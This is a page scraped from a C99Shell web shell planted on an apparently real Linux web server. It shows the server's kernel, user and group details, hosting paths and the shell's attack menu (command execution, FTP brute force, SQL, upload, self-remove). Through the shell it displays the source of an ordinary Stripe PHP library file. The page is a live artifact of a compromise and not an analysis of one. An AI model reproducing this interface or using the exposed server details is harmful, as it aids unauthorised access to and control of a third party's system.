!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/stripe/stripe-php/lib/Util/   drwxr-xr-x
Free 28.62 GB of 117.98 GB (24.26%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CaseInsensitiveArray.php (2.17 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Stripe\Util;

/**
 * CaseInsensitiveArray is an array-like class that ignores case for keys.
 *
 * It is used to store HTTP headers. Per RFC 2616, section 4.2:
 * Each header field consists of a name followed by a colon (":") and the field value. Field names
 * are case-insensitive.
 *
 * In the context of stripe-php, this is useful because the API will return headers with different
 * case depending on whether HTTP/2 is used or not (with HTTP/2, headers are always in lowercase).
 */
class CaseInsensitiveArray implements \ArrayAccess\Countable\IteratorAggregate
{
    private 
$container = [];

    public function 
__construct($initial_array = [])
    {
        
$this->container \array_change_key_case($initial_array\CASE_LOWER);
    }

    #[
\ReturnTypeWillChange]
    public function 
count()
    {
        return 
\count($this->container);
    }

    
/**
     * @return \ArrayIterator
     */
    
#[\ReturnTypeWillChange]
    public function 
getIterator()
    {
        return new 
\ArrayIterator($this->container);
    }

    
/**
     * @return void
     */
    
#[\ReturnTypeWillChange]
    public function 
offsetSet($offset$value)
    {
        
$offset = static::maybeLowercase($offset);
        if (
null === $offset) {
            
$this->container[] = $value;
        } else {
            
$this->container[$offset] = $value;
        }
    }

    
/**
     * @return bool
     */
    
#[\ReturnTypeWillChange]
    public function 
offsetExists($offset)
    {
        
$offset = static::maybeLowercase($offset);

        return isset(
$this->container[$offset]);
    }

    
/**
     * @return void
     */
    
#[\ReturnTypeWillChange]
    public function 
offsetUnset($offset)
    {
        
$offset = static::maybeLowercase($offset);
        unset(
$this->container[$offset]);
    }

    
/**
     * @return mixed
     */
    
#[\ReturnTypeWillChange]
    public function 
offsetGet($offset)
    {
        
$offset = static::maybeLowercase($offset);

        return isset(
$this->container[$offset]) ? $this->container[$offset] : null;
    }

    private static function 
maybeLowercase($v)
    {
        if (
\is_string($v)) {
            return 
\strtolower($v);
        }

        return 
$v;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0477 ]--